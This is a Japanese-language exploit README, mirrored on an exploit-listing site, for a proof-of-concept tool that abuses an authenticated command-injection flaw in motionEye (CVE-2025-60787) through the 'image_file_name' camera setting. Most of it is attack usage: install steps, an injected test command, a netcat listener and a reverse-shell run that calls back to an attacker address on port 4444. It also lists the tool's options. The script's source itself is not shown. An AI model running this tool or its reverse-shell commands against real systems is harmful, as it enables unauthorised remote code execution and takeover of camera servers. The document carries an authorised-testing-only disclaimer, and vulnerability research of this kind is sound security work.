Sploitus

Exploit for CVE-2025-60787

kitploit · 2026-09-04

Exploit Code

MARKDOWN146 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-OZCANPNG-CVE-2025-60787
# CVE-2025-60787 — motionEye 認証済みRCE

CVE-2025-60787 の認証済みコマンドインジェクション PoC です。motionEye `v0.43.1b4` 以前は、`image_file_name` などのユーザー制御のカメラ設定値を十分なサニタイズなしに Motion 設定に書き込むため、値が処理されるとコマンド実行が可能になります。

> **承認されたテストおよび研究目的のみに使用してください。所有していない、または明示的なテスト許可を得ていないシステムに対して使用しないでください。**

* * *

## 機能

root@kitploit:~
    
    
    Signed API request -> camera config update -> image_file_name injection -> snapshot trigger -> command execution
    

  1. ターゲットを検証し、motionEye を検出します。
  2. 設定されたユーザー名とパスワードハッシュを使用して、署名付き motionEye API リクエストを生成します。
  3. `/config/list/` を通じてカメラ設定を読み取ります。
  4. カメラの `image_file_name` 設定にコマンドを注入します。
  5. 必要に応じて静止画/手動スナップショットを有効にします。
  6. `/action/<camera_id>/snapshot/` をトリガーして、motionEye が注入されたファイル名を処理するようにします。
  7. オプションで元のカメラ設定を復元します。



* * *

## スクリーンショット

### リバースシェルのセットアップ

![リバースシェルのセットアップ](https://assets.kitploit.com/production/public/readmes/30382/cc24d5d01d94d26a9ac0a757a0c95ec356051ef3965d23b15e247ebf0d598c36.png)

### 設定の注入とトリガー

![設定の注入とトリガー](https://assets.kitploit.com/production/public/readmes/30382/dbcadf8e08b46a93afcf75526c1013ff199f8614c674e78b7866fea250335e87.png)

### シェル取得

![シェル取得](https://assets.kitploit.com/production/public/readmes/30382/f2de05cf82875879ea850dc75ef0cfadaa37c9f454247d533654eb68b83996ce.png)

* * *

## セットアップ

root@kitploit:~
    
    
    git clone https://github.com/ozcanpng/CVE-2025-60787.git
    cd CVE-2025-60787
    pip install -r requirements.txt
    

* * *

## 使用方法

### 安全なコマンドの確認

root@kitploit:~
    
    
    python3 CVE-2025-60787.py \
      --target http://127.0.0.1:8765 \
      --user admin \
      --password-hash HASH \
      --cmd 'id > /tmp/motioneye_rce'
    

### リバースシェル

まずリスナーを起動します:

root@kitploit:~
    
    
    rlwrap nc -lvnp 4444
    

次に実行:

root@kitploit:~
    
    
    python3 CVE-2025-60787.py \
      --target http://127.0.0.1:8765 \
      --port 8765 \
      --user admin \
      --password-hash HASH \
      --reverse-shell \
      --lhost 10.10.16.53 \
      --lport 4444
    

便利なオプション:

root@kitploit:~
    
    
    --camera-id N      Camera ID to modify (default: 1)
    --restore          Restore the original camera configuration after triggering
    --dry-run          Build signed requests without modifying the target
    --debug            Print canonical signed paths, bodies and signatures
    --no-trigger       Update config without triggering a snapshot
    --verify-tls       Verify HTTPS certificates
    --yes              Skip reverse-shell confirmation prompt
    

* * *

## 影響を受けるバージョン

製品| 影響を受けるバージョン| 必要なアクセス権| 影響  
---|---|---|---  
motionEye| `<= 0.43.1b4`| 認証済み管理者/APIアクセス| motionEye/MotionプロセスユーザーとしてのOSコマンド実行  
  
結果の権限は、motionEye の展開方法によって異なります。サービスをrootとして実行しているコンテナやラボイメージでは、コマンド実行がrootになる可能性があります。

* * *

## 注意事項

  * PoC は、保存されている motionEye パスワード値/ハッシュを必要とします。その値がレガシーAPIリクエストの署名キーとして使用されるためです。
  * 注入されるフィールドは `image_file_name` です。
  * テスト中は `--restore` を使用して、悪用後に元のカメラ設定を戻してください。
  * リバースシェルを試みる前に、安全な検証のために `--cmd` を使用することを推奨します。



* * *

## 参考文献

  * NVD — CVE-2025-60787
  * GitHub Security Advisory — GHSA-j945-qm58-4gjx
  * motionEye project



* * *

## 著者

ozcanpng — github.com/ozcanpng — ozcanpng.dev